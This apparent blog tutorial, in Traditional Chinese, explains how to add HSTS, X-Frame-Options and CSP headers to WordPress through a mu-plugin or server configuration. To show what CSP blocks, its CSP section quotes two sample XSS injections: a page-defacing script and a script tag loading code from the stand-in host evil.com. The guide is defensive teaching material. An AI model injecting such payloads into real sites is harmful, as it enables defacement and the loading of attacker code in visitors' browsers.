WordPress

WordPress安全標頭是什麼?HSTS、CSP 怎麼補上

多數人以為,網站的資安工作做的是防毒外掛與強密碼那一塊:掃描惡意程式、擋暴力破解登入、定期備份。這些確實重要,但還有一段防線,從頭到尾不歸這些外掛管。瀏覽器接到網頁的那一刻,會不會自動改用加密連線、會不會讓這個頁面被偷偷嵌進別人的網站、會不會執行一段不知道從哪裡混進來的腳本,管的不是主機裡跑的程式,是伺服器多送的幾行文字,也就是 HTTP 安全標頭(Security Headers),放在 WordPress 網站上就是常說的WordPress安全標頭。

HTTP 安全標頭是伺服器回傳網頁內容時,額外附帶給瀏覽器的一批指示,使用者看不到,瀏覽器卻會照著做。HSTS、Content-Security-Policy(CSP)、X-Frame-Options 是其中最關鍵的 3 個,分別管連線要不要一律走 HTTPS、頁面能載入哪些來源的資源,以及能不能被其他網站嵌進隱形的框架裡。WordPress 核心只在登入頁與後台送出防止被嵌入的標頭,前台頁面這幾個標頭一個都不會主動送出,不是外掛沒裝好,是核心本來就沒把這件事扛起來。

HTTP 安全標頭是什麼?

網頁送到瀏覽器,不是只有畫面上看到的文字、圖片這些內容。伺服器在同一個回應裡,還會附上一批 HTTP 標頭(HTTP Headers),瀏覽器看得懂、頁面上完全看不到,用途是告訴瀏覽器該怎麼處理、怎麼顯示、怎麼快取這個回應。這些標頭跟頁面內容本身是分開的兩層,改標頭不會動到頁面裡的一個字,但會改變瀏覽器對待這個頁面的方式。

安全標頭管的是瀏覽器端這一層,跟多數人熟悉的資安外掛不是同一件事。防惡意程式掃描、擋暴力破解登入、封鎖可疑 IP,做的是主機端的防護,防的是駭客碰到伺服器、碰到檔案系統這一段;安全標頭做的是瀏覽器端的防護,管的是使用者的瀏覽器接到這個網站的回應之後,要不要照著做某些危險的事,例如被嵌進別人的頁面、載入來路不明的腳本、用不加密的連線傳輸。兩者互補,不互相取代,主機端擋不住的攻擊面,常常正好是這幾個標頭在管。

WordPress 核心本身,只在登入頁與後台管理畫面送出 X-Frame-Options: SAMEORIGIN(6.9 版起再加上 CSP 的 frame-ancestors 'self'),防的是這兩處被別的網站嵌入;前台頁面則完全沒有主動把 HSTS、CSP、X-Frame-Options 這幾個標頭送出去。裝一套全新的 WordPress,什麼外掛都不加,打開瀏覽器的開發者工具看首頁或文章頁的回應標頭,這幾行不會出現。WordPress 內建的「網站健康」(Site Health)也不檢查這幾個標頭,核心等於把前台這一層留給站主自己決定要不要做。

沒有這些標頭時,WordPress 站台實際暴露的風險

少了這幾個標頭,並不代表網站馬上會被攻破,但代表原本可以少開的幾扇門,一直開著。3 個標頭各自對應一種具體的攻擊路徑,不是抽象的「安全性」加分項。

沒有 HSTS 的網站,使用者在公用 Wi-Fi(咖啡廳、機場、飯店大廳)輸入網址時,只要打的是不含 https 的網址,或點了一個舊的 http 連結,瀏覽器就會先發出一次不加密的請求。這一瞬間,如果 Wi-Fi 環境裡有人動了手腳,就能攔截這次連線,把使用者導到假的頁面,或竄改傳輸中的內容,再讓瀏覽器以為全程都在跟真正的網站對話,這就是俗稱的降級攻擊(protocol downgrade attack)。裝了 HSTS 的網站,瀏覽器記住這個網域只能走 HTTPS 之後,連這第一步的機會都不給。

沒有 X-Frame-Options、CSP 裡也沒設 frame-ancestors 的網站,前台任何有操作按鈕的頁面(會員中心、表單、結帳頁),理論上可以被放進一個肉眼看不見的透明 iframe,疊在別人架設的頁面上面。使用者以為自己點的是底下那個正常頁面上的按鈕,實際點擊落在疊在上面的那個隱形 iframe 裡,觸發的是完全不同的動作,這就是俗稱的點擊劫持(clickjacking)。使用者本人完全沒意識到自己剛才做了什麼。

CSP 缺席時,風險出現在另一個環節。只要網站裡任何一個外掛、佈景主題,或使用者輸入欄位沒把資料過濾乾淨,出現一個跨站腳本(XSS)漏洞,惡意的腳本就能在前台直接執行,沒有第二道防線攔它。有 CSP 在,就算漏洞真的被找到、腳本真的被塞進頁面,瀏覽器也會因為這段腳本的來源不在白名單裡而拒絕執行,CSP 擋的不是漏洞本身,是漏洞被利用之後的下一步。

這 3 個標頭合起來,做的是縱深防禦(defense in depth)裡的一層,不是唯一防線,也不能取代把外掛更新到最新版、把密碼設強這些基本功。它們補的是就算前面某一關被突破、還有下一關能擋這件事,而這件事恰好是資安外掛管不到的範圍。

HSTS、X-Frame-Options、CSP 三個安全標頭分別擋下 HTTP 降級、點擊劫持與 XSS 注入
三個安全標頭各自對應一種攻擊路徑,互不取代,WordPress 核心在前台預設都不會主動送出。

HSTS 鎖住的是 HTTP 降級與竊聽的環節

HSTS(HTTP Strict Transport Security)這個標頭做的事很單純,跟瀏覽器說這個網域之後只能用 HTTPS,別再用 HTTP 連了。瀏覽器記住這件事之後,不管使用者是自己打了 http 開頭的網址、還是點了一個舊連結,都會直接在本地端把協定換成 https,連伺服器都不用等,更不會給攻擊者利用中間那段空檔的機會。

它保護的情境很具體:公用 Wi-Fi、辦公室網路,或路由器被動過手腳的環境,都是 HSTS 真正派上用場的地方。這些場合裡,使用者不見得自己輸入完整網址,瀏覽器記錄下來的規則,才是真正擋住降級的那一關。

SSL 剝離攻擊把 HTTPS 硬是降回 HTTP

沒有 HSTS 的網站,攻擊者有一個具體能下手的空檔。使用者第一次連線,如果打的是 http 開頭的網址,或點了一個沒被更新的舊連結,瀏覽器會先送出一次不加密的請求,伺服器再回應把它重新導向到 https 版本。問題就出在重新導向之前這一小段時間,如果攻擊者能插進這段連線,常見手法是在使用者連上的 Wi-Fi 或路由器動手腳,就能攔截這個還沒加密的請求,把整段連線都留在 HTTP,讓瀏覽器和使用者都以為連線正常,實際上內容已經能被讀取、竄改。這種手法稱為 SSL 剝離,也叫降級攻擊。

沒有 HSTS 時攻擊者能攔截重新導向前的未加密請求,裝了 HSTS 後這段請求根本不會送出
SSL 剝離攻擊靠的是重新導向到 HTTPS 前那段空檔,HSTS 讓瀏覽器直接在本機換成 https,空檔整個消失。

HSTS 要處理的,正是這個重新導向之前的空檔。瀏覽器只要曾經記住某個網域套用了 HSTS,之後不管使用者打的是 http 還是 https 開頭,都會直接在本機把協定換成 https 再發出請求,等於把那段容易被攔截的空檔整個拿掉。攻擊者連攔截的機會都沒有,因為根本沒有一次真正的 HTTP 請求送出去過。

max-age、includeSubDomains 與 preload 三個參數各自的作用

max-age 決定瀏覽器要把「這個網域只能用 HTTPS」這件事記多久,單位是秒。業界常見的建議值是 1 年,也就是 31536000 秒。這個數字設得太短,瀏覽器很快就會忘記這條規則,等於防護時有時無;設得夠長,才能讓保護在使用者沒有頻繁重新造訪的情況下持續生效。

includeSubDomains 把同一條規則套用到這個網域底下所有的子網域,不只是主網域本身。這個參數方便,但也容易讓人忽略一個前提,一旦設了它,任何一個子網域只要還沒配好 HTTPS,就會直接連不上,不會退回 HTTP,瀏覽器根本不允許。設定前務必先確認手上所有子網域,包括測試用、內部用的那些,都能正常用 HTTPS 連線,不然設完等於自己把一部分服務關掉。

preload 宣告這個網域要被送進瀏覽器內建的 HSTS 預載名單,但收錄之後的風險比另外兩個參數大得多,一旦生效就很難收回。

Strict-Transport-Security: max-age=31536000; includeSubDomains; preloadCode language: plaintext (plaintext)

全站尚未穩定使用 HTTPS 前,HSTS 預載是條不可逆的路

HSTS 預載名單(HSTS preload list)是 Chrome 維護、直接寫死在瀏覽器原始碼裡的一份清單,Firefox、Safari、Edge 等主流瀏覽器也各有以這份名單為基礎的預載清單。一個網域被收錄之後,不管使用者是不是第一次造訪、標頭有沒有正確送出,瀏覽器都會直接假設這個網域只能用 HTTPS,連第一次連線都不給 HTTP 的機會。這正是它比單純設定 HSTS 標頭更強的地方,也正是它的風險所在。

收錄之後想反悔,幾乎是條很難走回頭的路。名單維運方明白提醒,移除的流程緩慢又痛苦,而且要等到瀏覽器版本更新推送到使用者手上才會真正生效,中間可能要拖上好幾個月。申請提交前,務必先確認 3 件事:憑證有效、所有 HTTP 流量都已經重導到 HTTPS,以及所有子網域(包含還沒特別留意過的那些)都能正常用 HTTPS 連線。正式提交前,建議先用較短的 max-age 實際觀察一段時間,確認沒有任何子網域或舊連結會因此連不上,再逐步拉長到符合申請門檻的 1 年以上。

X-Frame-Options 防的是頁面被嵌進別人網站

X-Frame-Options 管的是另一個問題,這個頁面能不能被放進別人網站的一個 frame 或 iframe 裡。它只有 2 個常用值,DENY 完全禁止任何網站把頁面嵌進 frame,連自己的網域都不例外;SAMEORIGIN 則只允許同網域的頁面互相嵌入,擋掉其他網域。

這個標頭現在的定位有點尷尬,功能上已經被 CSP 的 frame-ancestors 指令取代,但因為舊瀏覽器相容性的緣故,多數建議仍是兩個一起掛,而不是只選其中一個。

點擊劫持把使用者的點擊誘騙進隱形 iframe

點擊劫持的做法是,攻擊者做一個看起來完全正常的頁面,可能是一則抽獎活動、一支影片播放頁,上面卻疊著一層透明到肉眼看不出來的 iframe,裡面載入的正是目標網站的登入頁或設定頁。使用者以為自己點的是抽獎按鈕,實際點到的位置,剛好對應到那層透明 iframe 裡「切換帳號設定」或「送出表單」的按鈕。

整個過程使用者毫無察覺,因為畫面上看到的一直是那個正常的活動頁,點擊卻真的落在隱形的 iframe 上,完成了一個他從沒打算做的操作。這種攻擊之所以能得逞,前提只有一個,目標網站的頁面能被隨便嵌進任何一個外部網站的 frame 裡,這正是 X-Frame-Options 跟 CSP 的 frame-ancestors 要擋下來的那一件事。

點擊劫持把透明 iframe 疊在正常頁面上,使用者以為點抽獎鈕,實際觸發的是被嵌入網站的操作
使用者看到的是抽獎頁,點擊卻落在疊在上面那層透明 iframe 的按鈕上,X-Frame-Options 與 frame-ancestors 就是禁止頁面被這樣嵌入。

DENY 與 SAMEORIGIN 分別擋掉的嵌入範圍

DENY 最嚴格,完全禁止任何來源把頁面放進 frame,連自己網站的其他頁面都不行。多數 WordPress 站台沒有「需要被自己網域以外的頁面嵌入」的需求,DENY 是最單純、也最不容易出錯的選擇。

SAMEORIGIN 則允許來源與頁面同源時嵌入,擋掉的只是外部網域。如果站內本身就有用 iframe 嵌自己頁面的情境,某些頁面產生器、外掛的預覽視窗會這麼做,把整個後台或前台頁面用 iframe 包一層來預覽,這時選 DENY 會讓自己的功能先壞掉,得退而求其次選 SAMEORIGIN,同時兼顧「防止外部嵌入」與「不影響站內既有功能」這兩件事。

舊瀏覽器仍吃 X-Frame-Options,CSP 的 frame-ancestors 才是新規範

CSP 的 frame-ancestors 指令,功能比 X-Frame-Options 完整,可以指定多個允許嵌入的網域,不是只有「禁止」或「限同源」兩個選項,X-Frame-Options 做不到這件事。這也是它被視為目前標準做法的原因,OWASP 的 CSP 防護指南也直接把 X-Frame-Options 寫成已被 frame-ancestors 取代的過時(obsolete)標頭。

即便如此,兩個標頭仍建議一起掛,不是只選一個。原因是部分舊瀏覽器不認得 frame-ancestors,只看得懂 X-Frame-Options,少掛了它,這些舊瀏覽器上的防護就整個掉了。兩者語意相近,但不是同一套語法,寫的時候各自獨立設定。CSP 規格也寫明,同一個回應裡兩個都送時,認得 frame-ancestors 的瀏覽器以它為準、直接忽略 X-Frame-Options,舊瀏覽器則照 X-Frame-Options 執行,所以兩邊的值要設成一致,例如都限同源,新舊瀏覽器擋下的範圍才會相同。

Content-Security-Policy 管的是頁面能載入的資源來源

CSP 是這篇份量最重的一個標頭,概念上也跟前兩個不太一樣,它不是一個單純的開關,而是一份「這個頁面允許從哪裡載入哪種資源」的清單。清單裡分成好幾組指令(directive),各自管不同種類的資源,腳本、樣式、圖片、連線、字型各有各的規則,不是設一個值就管全部。

script-src 與 img-src 在 default-src 之外各自管的資源類型

default-src 是其他 fetch 類指令沒有個別指定時的預設回退值,相當於沒特別講的情況下一律套用這一條。script-src 管腳本可以從哪些來源執行,style-src 管樣式表可以從哪裡套用,包含用 <link> 引入的外部樣式表,以及 @import 載入的樣式,img-src 管圖片來源。

connect-src 管的是 XHR、WebSocket、fetch 這類連線請求可以連到哪些網域,分析工具回傳資料、頁面內建的即時更新功能都要靠這條放行。frame-src 管可以嵌入哪些來源的 iframe,font-src 管字型檔案能從哪裡載入。這些指令彼此獨立,只設定 script-src,不代表圖片、字型也跟著被限制,每一類資源都要各自確認有沒有被放行。

CSP 用 default-src 當預設回退值,script-src、img-src 等指令各自管一類資源的載入來源
CSP 不是單一開關,每一類資源都要各自在對應指令裡放行,設了 script-src 不代表圖片、字型跟著被限制。

XSS 攻擊能得逞,靠的正是瀏覽器對來源不設防

沒有 CSP 的情況下,瀏覽器對腳本的來源不設防,不管這段程式碼是頁面原本就有的,還是被硬塞進去的,只要出現在頁面裡,瀏覽器一律照樣執行。某個外掛的留言欄位如果沒把使用者輸入的內容過濾乾淨,攻擊者只要在留言裡塞一段 <script> 標籤,這段腳本就能在其他訪客瀏覽這則留言時直接跑起來。

CSP 生效之後,規則整個不一樣了。就算攻擊者真的把一段 <script>document.body.innerHTML='defaced'</script> 成功塞進頁面,瀏覽器也會因為行內腳本不在白名單裡而直接拒絕執行;就算攻擊者改成注入一段 <script src="https://evil.com/hacked.js"></script>,想從外部載入惡意程式碼,瀏覽器也會因為那個網域不在 script-src 允許的來源清單裡而擋下這次請求。CSP 擋的不是漏洞本身有沒有存在,是漏洞被找到之後,攻擊者想利用它執行任何東西的那一步。

先鎖 self、再逐步放行的 CSP 初始政策

寫 CSP 最常見的困難,是不知道從何開始。務實的做法不是想著把網站可能用到的所有網域一次列齊,而是先從最嚴格的起點下手,假設所有資源都來自本網域,不允許任何行內腳本或樣式,也不允許被其他網站嵌入,表單也不送到外部網站。

一份基本的起手式政策可以這樣寫:

Content-Security-Policy: default-src 'self'; frame-ancestors 'self'; form-action 'self';Code language: plaintext (plaintext)

這條政策等於宣告,除非另外開放,不然一切都只從自己網域載入。之後再依照網站實際會用到的外部資源,分析工具、地圖服務、字型、第三方嵌入,一項一項放行,而不是反過來,一開始就把能想到的網域全部塞進白名單,那樣等於白寫了 CSP,防護面幾乎沒有收斂到。要更嚴格,也可以再往下拆得更細:

Content-Security-Policy: default-src 'none'; script-src 'self'; connect-src 'self'; img-src 'self'; style-src 'self'; frame-ancestors 'self'; form-action 'self';Code language: plaintext (plaintext)

mu-plugin 與主機層是掛上安全標頭的兩條路徑

知道每個標頭在管什麼之後,實際要面對的問題是這幾行標頭要加在哪裡。WordPress 沒有內建的介面能設定它們,能走的路只有兩條,不裝外掛的話,一條是寫進 WordPress 的 must-use plugin(mu-plugin),搭配核心提供的 wp_headers 這個掛鉤;另一條是直接寫進伺服器的設定檔,Apache 用 .htaccess,Nginx 則是它自己的設定檔。

兩條路各有各的優缺點,選哪一條,常常取決於手上有沒有碰觸伺服器設定檔的權限。如果網站裝了全站快取,這兩條路都可能因為快取層插在中間而部分失效,這是接下來要處理的問題。

掛安全標頭可選 mu-plugin 或伺服器層,前者不必碰設定檔但怕快取,後者最完整但需要權限
mu-plugin 不用碰伺服器設定卻可能被全頁快取略過,伺服器層最完整但需要能改設定檔的權限。

mu-plugin 掛 wp_headers 就能不裝外掛常駐

把這段設定寫進佈景主題的 functions.php,是最直覺、卻也最容易出問題的做法,只要換一個主題,這段設定就整組消失,而且換主題往往不是自己一個人決定,很容易忘記把安全標頭這件事一起搬過去。mu-plugin 不受切換主題影響,它放在 wp-content/mu-plugins 目錄下,不會出現在一般外掛清單裡,也沒辦法從後台停用,只能靠直接刪除檔案才能移除,這個不能被誤觸關閉的特性,對安全標頭這種希望穩定常駐的設定反而是優點。

作法是寫一個掛在 wp_headers 這個過濾器上的函式,把要加的標頭塞進傳入的 $headers 陣列,再回傳出去:

<?php
add_filter( 'wp_headers', function ( $headers ) {
    $headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains';
    $headers['X-Frame-Options'] = 'SAMEORIGIN';
    $headers['Content-Security-Policy'] = "default-src 'self'; frame-ancestors 'self'; form-action 'self';";
    return $headers;
} );Code language: PHP (php)

這個過濾器接收兩個參數,$headers 是即將送出的標頭陣列,$wp 是目前的 WordPress 環境物件。整個寫法不需要另外裝一支專門處理安全標頭的外掛,也不用碰觸伺服器設定檔,對沒有主機層權限的站台是最容易上手的一條路。

.htaccess 或 Nginx 設定檔,標頭直接在伺服器層送出

伺服器層設定的優勢在於它完全獨立於 WordPress 之外運作。就算某個外掛出包、佈景主題被整個換掉,甚至 WordPress 核心檔案被竄改,伺服器設定檔裡寫的標頭照樣會送出,不會被任何 PHP 層的東西蓋掉或跳過,它比 mu-plugin 更靠近網路的最底層,能涵蓋的範圍也更完整。

Apache 用 mod_headers 模組的 Header 指令:

Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"
Header always set X-Frame-Options "SAMEORIGIN"Code language: plaintext (plaintext)

always 這個參數,讓標頭在各種回應狀態下都會送出,包括錯誤回應,像 404、500 這類頁面,不會因為回應狀態不是 200 就漏掉。Nginx 則用 add_header 指令搭配同樣的 always 參數,效果相同:

add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Frame-Options "SAMEORIGIN" always;Code language: plaintext (plaintext)

改完 Nginx 設定檔要 reload 才會生效。這條路的門檻是需要能碰觸 .htaccess 或主機的 Nginx 設定檔,共用主機環境常常沒有開放這個權限,遇到這種情況,只能退回 mu-plugin 這條路。

全站快取一裝,wp_headers 這條路可能整個失效

這是最容易被忽略、卻最重要的一條提醒。如果網站裝了全頁快取,不管是快取外掛還是主機層本身的頁面快取,被快取起來的 HTML 是直接從快取伺服器或快取檔案送出,根本沒有再跑一次 WordPress 的 PHP 流程。wp_headers 這個掛鉤,說到底就是在 PHP 流程裡運作,流程沒跑,掛鉤自然不會被觸發,mu-plugin 辛苦加上去的標頭,在被快取命中的頁面上完全不會出現。

WordPress 開發者文件 wp_headers 過濾器說明頁下方的使用者補充筆記,就把這件事寫清楚了,如果網站透過外掛或第三方系統提供快取頁面,這個過濾器沒辦法改到標頭,因為快取頁面會在 wp_headers 被過濾之前就先送出去。這句話也是判斷該用 mu-plugin 還是該走伺服器層最關鍵的一條依據,裝了全頁快取的站,標頭要嘛設在快取層本身,多數快取外掛或 CDN 都有自訂回應標頭的設定項,要嘛直接走伺服器層那條路,才不會受快取牽連。

CSP 在 WordPress 前台最難落地的地方

前面幾節把 CSP 的概念與寫法都講完了,實際套用到一個真正在營運的 WordPress 前台,難度會跳一個等級。一個典型的 WordPress 前台,同時掛著分析工具、字型服務、地圖嵌入、驗證碼、金流結帳,還有頁面編輯器留下的樣式,每一種資源都要在 CSP 裡各自開一條白名單,只要漏了一個,對應的功能就會在瀏覽器主控台留下一條沒人注意到的錯誤訊息,使用者看到的往往只是「這個功能不動了」,完全不知道原因出在 CSP 擋掉了什麼。

重點不是嚇退想上 CSP 的人,而是先用 Report-Only 模式觀察,再逐步收緊,不要一次就把正式政策推上線。

分析、地圖、reCAPTCHA 與金流,各自要在 CSP 開一條白名單

Google Tag Manager 與 Google Analytics(GA4)是最常見的第一個絆腳石。Google 的 Tag Manager 說明文件明確提到,搭配 CSP 使用 GTM 時,如果在最初載入 GTM 的那段行內腳本標籤上設定 nonce 屬性,GTM 會自動把這個 nonce 套用到它之後注入頁面的其他腳本上;文件也提醒,Google 用到的網域要把每一個實際會用到的頂層網域分別列出來,CSP 的語法不允許在主機名右側用萬用字元帶過。

Google reCAPTCHA 則牽涉到不只一個指令。Google 的說明文件寫明,不採用 nonce 做法的話,要在 script-src 放行 reCAPTCHA 的腳本網域、frame-src 放行驗證碼互動用的 iframe 網域,connect-src 也要放行它的連線網址,只放其中一個,通常還是會讓驗證碼載入失敗,這也是 CSP 最容易讓人挫折的地方,一個第三方服務常常不是只靠一個指令就能放行完。

通則是,每一種第三方服務,分析工具、地圖嵌入、金流結帳頁、線上客服,都可能同時用到 script-src(載入腳本本身)、connect-src(腳本回傳資料的 API 連線)、frame-src(如果服務是用 iframe 呈現內容,像金流的結帳頁面常這樣做)3 個不同指令。只放行其中一兩個,常常還是會出錯,得逐一在瀏覽器主控台確認完整的違規清單,才能真正把一個服務放行完整。

違規清單靠 Report-Only 模式跑過一輪才收成正式政策

與其直接上正式的 Content-Security-Policy,務實的做法是先掛 Content-Security-Policy-Report-Only。這個模式下,瀏覽器只會把違規記錄下來,主控台看得到,如果設定了回報端點,也能送到那裡集中收集,但不會真的擋掉任何資源,不會弄壞正在營運的網站。

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report-endpointCode language: plaintext (plaintext)

這裡用的 report-uri 是較舊的回報語法,CSP 新版規格已改推 report-to,但 report-to 得另外搭配 Reporting-Endpoints 標頭宣告端點,而且依 MDN 的相容性資料,它到 2026 年 3 月才在各主流瀏覽器的最新版全數支援,舊版瀏覽器仍不認得。認得 report-to 的瀏覽器會自動忽略 report-uri,所以過渡期常見做法是兩個回報語法一起送,讓新舊瀏覽器都收得到違規回報。

實際做法是,先掛上 Report-Only 政策,把前台幾種主要頁面都瀏覽過一輪,首頁、文章頁、有表單的頁面、有金流的頁面,每一種頁面用到的資源不見得一樣,漏看一種,就會漏掉那一批違規記錄。把主控台裡跳出來的違規網域一一評估要不要放行,收斂成一份正式政策之後,才把 Report-Only 換成正式的 Content-Security-Policy 標頭。瀏覽器也支援兩個標頭同時送出,一邊維持一份較寬鬆、真正生效的正式政策,一邊用更嚴格的 Report-Only 政策持續蒐集資料,逐步收緊,不用等到全部確認完才切換。

先掛 Content-Security-Policy-Report-Only 蒐集違規,收斂後再換成正式的 Content-Security-Policy
先用 Report-Only 把各種頁面跑一輪、蒐集違規網域,收斂成政策後才換成會真正擋資源的正式標頭。

頁面編輯器留下的行內樣式,是 unsafe-inline 遲遲拿不掉的原因

這是 WordPress 特有的難點,不是泛用網頁開發都會遇到的通則。區塊編輯器與常見的頁面編輯器外掛,習慣把樣式直接寫成行內的 style 屬性,或整段塞進頁面裡的 <style> 區塊,某個區塊自訂的顏色、間距,很多時候不是寫進獨立的 CSS 檔案,而是就地寫在那個區塊的 HTML 裡。CSP 預設會擋掉所有行內樣式,這批散落在頁面各處的行內樣式,一夕之間全部失效,畫面看起來可能整個跑掉。

要保留這些行內樣式,能走的路只有 3 種,在 style-src 放行 unsafe-inline,安全性打折但幾乎不費工;改用雜湊值(hash);或改用亂數值(nonce)。雜湊值的做法很脆弱,內容只要有一點變動,哪怕只是格式化多一個空白字元,雜湊就對不上,那段樣式或腳本就直接失效、不會渲染。亂數值的做法則要求每次回應都產生一組新的隨機值,同時寫進標頭與每個行內樣式標籤,一旦頁面被快取,同一組亂數值會被重複送出,等於失去原本該有的防護效果。頁面編輯器的內容常常在改,每改一次就要重算一次雜湊,維護成本並不低,是一個要誠實面對的取捨,不是三言兩語能解決的。

後台與前台的資源落差,兩份政策比一份寬鬆政策更務實

後台管理介面用到的腳本、樣式來源,跟前台完全不同,媒體庫、區塊編輯器、各個外掛自己的設定頁面,牽涉到的資源五花八門。如果為了不弄壞後台功能,把整站政策放寬到能滿足後台需求,前台反而跟著失去原本該有的嚴格保護,等於為了遷就管理介面,把訪客這一側的防護一起犧牲掉。

比較務實的做法,是前台跟後台各自套用不同的政策,前台用一份收得住第三方資源的嚴格政策,/wp-admin/ 底下的管理路徑另外用一份寬鬆一點、甚至暫時不啟用 CSP 的政策,兩者互不影響。伺服器層的設定檔本來就能依照網址路徑套用不同的 Header 或 add_header 規則,搭配 WordPress 後台與前台路徑天生分離這個結構特性,分開設定並不需要額外的工具或外掛。

標頭掛上後仍要驗證是否真的生效

設定完,不代表這幾個標頭真的生效了。判斷的方式要靠實際檢查標頭有沒有出現在回應裡,不能只看網站功能有沒有壞掉,標頭沒生效但網站表面看起來完全正常,是最容易被忽略、也最危險的一種情況,因為沒有任何錯誤訊息會提醒少了這層防護。

開發者工具的 Network 分頁,標頭是否送出看得最準

打開瀏覽器的開發者工具,切到 Network(網路)分頁,重新整理頁面。清單裡第一筆、類型通常標示為 document 的那筆請求,就是頁面本身這個 HTTP 回應。點開它,在 Response Headers(回應標頭)裡逐一核對 Strict-Transport-Security、X-Frame-Options、Content-Security-Policy 是不是都出現,值是不是自己設定的那樣。

要特別留意檢查的對象是文件本身這個請求,不是頁面裡某張圖片或某支腳本各自的請求。安全標頭通常只掛在主文件的回應上,點錯到一張圖片的請求,看不到 Strict-Transport-Security 是正常的,不代表設定沒生效,只是查錯了地方。

換主機、換 CDN 或升級快取機制後,標頭容易被悄悄蓋掉

這不是設定一次就永遠有效的事。換主機商、加裝或更換 CDN、調整快取外掛的設定,都可能讓原本在伺服器層或 mu-plugin 設定好的標頭悄悄消失,而且不會跳出任何錯誤訊息,網站照常運作,只是少了這層防護。新的主機環境不見得沿用舊的 .htaccess 或 Nginx 設定,快取層也可能用它自己的預設值,把原本自訂的標頭整組蓋掉。

比較保險的做法,是把打開開發者工具查標頭這件事,養成環境有變動之後的例行檢查項,換主機、換 CDN、升級快取外掛版本之後,都花一分鐘重新確認一次,而不是設定完就當作從此永久生效、不再回頭看。

HTTP 安全標頭做的事,是把瀏覽器該怎麼保護這個網站這件本來各憑運氣的事,改成由伺服器主動講清楚。WordPress 核心沒有替前台把它內建進去,這一步就得靠站主自己補上,而且補上之後也不是永久有效,換一次主機、加一層 CDN,都可能讓原本設定好的標頭悄悄消失,網站照樣能開,只是少了這道原本存在的防線。

CSP 第一次上線,前台某個第三方服務被擋掉、功能看起來壞了,不代表整條路走錯,那正是先用 Report-Only 模式觀察、再逐步收緊的意義所在。真正該留意的,反而是設定完之後就不再回頭看,打開開發者工具看一眼回應標頭還在不在,是確認這幾行文字仍然在替網站把關的唯一辦法。

常見問答

本區問答由 AI 依文章內容自動整理,僅供快速參考,正式內容仍以全文為準。

WordPress安全標頭是什麼?

WordPress安全標頭是伺服器回傳網頁時額外附給瀏覽器的指示,使用者看不到,瀏覽器會照著做,最關鍵的是 HSTS、CSP 與 X-Frame-Options。WordPress 核心只在登入頁與後台送出防止被嵌入的標頭,前台頁面這幾個標頭都要站主自己補上。

WordPress安全標頭要加在哪裡?

不裝外掛的話,WordPress安全標頭可以寫進 mu-plugin 掛 wp_headers 過濾器,或寫進 .htaccess、Nginx 這類伺服器設定檔。共用主機沒開放設定檔權限時,只能走 mu-plugin 這條路。

wp_headers 裝了快取後為什麼失效?

wp_headers 過濾器在 PHP 流程裡運作,全頁快取命中時 HTML 直接從快取送出,沒有再跑 WordPress 的 PHP 流程,mu-plugin 加的標頭就不會出現。裝了全頁快取的站,標頭要設在快取層或伺服器層。

HSTS preload 申請前要注意什麼?

HSTS preload 收錄後很難收回,移除流程緩慢,還要等瀏覽器更新推送才生效。申請前先確認憑證有效、HTTP 流量都重導到 HTTPS、所有子網域都能用 HTTPS 連線,並先用較短的 max-age 觀察一段時間。

CSP 要怎麼上線才不會弄壞網站?

CSP 建議先掛 Report-Only 模式,瀏覽器只記錄違規、不會真的擋掉資源。把首頁、文章頁、表單頁、金流頁都瀏覽一輪,逐一評估違規網域要不要放行,收斂成正式政策後再切換成正式的 CSP 標頭。

資料來源
  1. HSTS Preload List Submission — Chrome
  2. wp_headers — WordPress
  3. Use Tag Manager with a Content Security Policy — Google
  4. reCAPTCHA Frequently Asked Questions — Google
  5. send_frame_options_header() — WordPress
  6. Content Security Policy Cheat Sheet — OWASP
  7. Content Security Policy Level 3 — W3C
  8. CSP: report-to directive — MDN